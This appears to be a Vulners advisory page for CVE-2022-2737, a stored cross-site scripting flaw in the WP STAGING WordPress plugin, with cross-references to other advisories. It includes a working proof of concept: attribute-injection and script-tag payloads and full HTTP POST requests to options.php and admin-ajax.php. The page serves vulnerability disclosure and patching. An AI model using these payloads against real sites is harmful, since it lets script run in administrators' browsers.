WP STAGING < 2.9.18 - Admin+ Stored Cross-Site Scripting
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2022-2737 | 16 Sep 202209:15 | – | attackerkb | |
| CVE-2022-2737 | 16 Sep 202212:38 | – | circl | |
| WordPress plugin WP STAGING 跨站脚本漏洞 | 16 Sep 202200:00 | – | cnnvd | |
| CVE-2022-2737 | 16 Sep 202208:40 | – | cve | |
| CVE-2022-2737 WP STAGING < 2.9.18 - Admin+ Stored Cross-Site Scripting | 16 Sep 202208:40 | – | cvelist | |
| EUVD-2022-34979 | 3 Oct 202520:07 | – | euvd | |
| CVE-2022-2737 | 16 Sep 202209:15 | – | nvd | |
| CVE-2022-2737 | 16 Sep 202209:15 | – | osv | |
| WordPress WP STAGING Plugin <= 2.9.17 - Authenticated Stored Cross-Site Scripting vulnerability | 17 Aug 202200:00 | – | patchstack | |
| Cross site scripting | 16 Sep 202209:15 | – | prion |
10
With the web browser inspector, change the input field type of settings such as "Maximum File Size (MB)" from number to text, then put the following payload in it and save: ' style=animation-name:rotation onanimationstart=alert(/XSS/)//
POST /wp-admin/options.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 401
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1
option_page=wpstg_settings&action=update&_wpnonce=174962afdc&wpstg_settings%5BqueryLimit%5D=10000&wpstg_settings%5BquerySRLimit%5D=20000&wpstg_settings%5BfileLimit%5D=50&wpstg_settings%5BmaxFileSize%5D=%27+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2FXSS%2F%29%2F%2F&wpstg_settings%5BbatchSize%5D=2&wpstg_settings%5BcpuLoad%5D=low&wpstg_settings%5Boptimizer%5D=1&submit=Save+Changes
The XSS will be triggered when accessing the settings again
The cloneName parameter is also affected when sent directly:
POST /wp-admin/admin-ajax.php?action=wpstg_processing&_=1660050565.855 HTTP/1.1
Accept: text/html, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 167
Connection: close
Cookie: [admin+]
action=wpstg_cloning&accessToken=YgABqYyPC6Mru2kCQY4qI0mVfMxGxTopA6aR8GJJcsGvUCibhaqJWl5TDjIZfjVc&nonce=eb3be2f317&cloneID=ID&cloneName="><script>alert(/XSS/)</script>
The XSS will be triggered when viewing the Staging Site dashboard (and there is also a lack of escaping when updating the related Staging site)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Aug 2022 08:10Current
4.7Medium risk
Vulners AI Score4.7
CVSS 3.14.8
EPSS0.00579